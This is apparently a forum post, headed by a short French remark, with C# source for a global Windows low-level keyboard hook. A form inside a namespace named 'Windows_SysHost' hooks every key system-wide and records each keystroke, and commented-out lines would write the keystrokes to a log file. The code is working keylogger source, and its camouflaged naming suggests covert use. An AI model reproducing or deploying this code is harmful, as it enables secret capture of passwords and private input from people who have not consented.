L'ASCII c'est bien mais...

using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;   

public class GlobalKeyboardHook
{
    [DllImport("user32.dll")]
    static extern int CallNextHookEx(IntPtr hhk, int code, int wParam, ref keyBoardHookStruct lParam);
    [DllImport("user32.dll")]
    static extern IntPtr SetWindowsHookEx(int idHook, LLKeyboardHook callback, IntPtr hInstance, uint theardID);
    [DllImport("user32.dll")]
    static extern bool UnhookWindowsHookEx(IntPtr hInstance);
    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpFileName);

    public delegate int LLKeyboardHook(int Code, int wParam, ref keyBoardHookStruct lParam);

    public struct keyBoardHookStruct
    {
        public int vkCode;
        public int scanCode;
        public int flags;
        public int time;
        public int dwExtraInfo;
    }

    const int WH_KEYBOARD_LL = 13;
    const int WM_KEYDOWN = 0x0100;
    const int WM_KEYUP = 0x0101;
    const int WM_SYSKEYDOWN = 0x0104;
    const int WM_SYSKEYUP = 0x0105;

    LLKeyboardHook llkh;
    public List<Keys> HookedKeys = new List<Keys>();

    IntPtr Hook = IntPtr.Zero;

    public event KeyEventHandler KeyDown;
    public event KeyEventHandler KeyUp;

    // This is the Constructor. This is the code that runs every time you create a new GlobalKeyboardHook object
    public GlobalKeyboardHook()
    {
        llkh = new LLKeyboardHook(HookProc);
        // This starts the hook. You can leave this as comment and you have to start it manually (the thing I do in the tutorial, with the button)
        // Or delete the comment mark and your hook will start automatically when your program starts (because a new GlobalKeyboardHook object is created)
        // That's why there are duplicates, because you start it twice! I'm sorry, I haven't noticed this...
        // hook(); <-- Choose!
    }
    ~GlobalKeyboardHook()
    { unhook(); }

    public void hook()
    {
        IntPtr hInstance = LoadLibrary("User32");
        Hook = SetWindowsHookEx(WH_KEYBOARD_LL, llkh, hInstance, 0);
    }

    public void unhook()
    {
        UnhookWindowsHookEx(Hook);
    }

    public int HookProc(int Code, int wParam, ref keyBoardHookStruct lParam)
    {
        if (Code >= 0)
        {
           Keys key = (Keys)lParam.vkCode;
           if (HookedKeys.Contains(key))
            {
                KeyEventArgs kArg = new KeyEventArgs(key);
                if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                    KeyDown(this, kArg);
                else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                    KeyUp(this, kArg);
                if (kArg.Handled)
                    return 1;
            }
        }
        return CallNextHookEx(Hook, Code, wParam, ref lParam);
    }
}

namespace Windows_SysHost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        GlobalKeyboardHook gHook;
        private void Form1_Load(object sender, EventArgs e)
        {
            gHook = new GlobalKeyboardHook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
                gHook.HookedKeys.Add(key);
            gHook.hook();
        }

        // Quand une touche est pressée
        public void gHook_KeyDown(object sender, KeyEventArgs e)
        { 
            //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);          
            //sw.Write((char)e.KeyValue);
            //sw.Close();

            textBox1.Text += ((char)e.KeyData).ToString();
        }

        //Fermeture de la fenêtre
        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            gHook.unhook();
        }
    }
}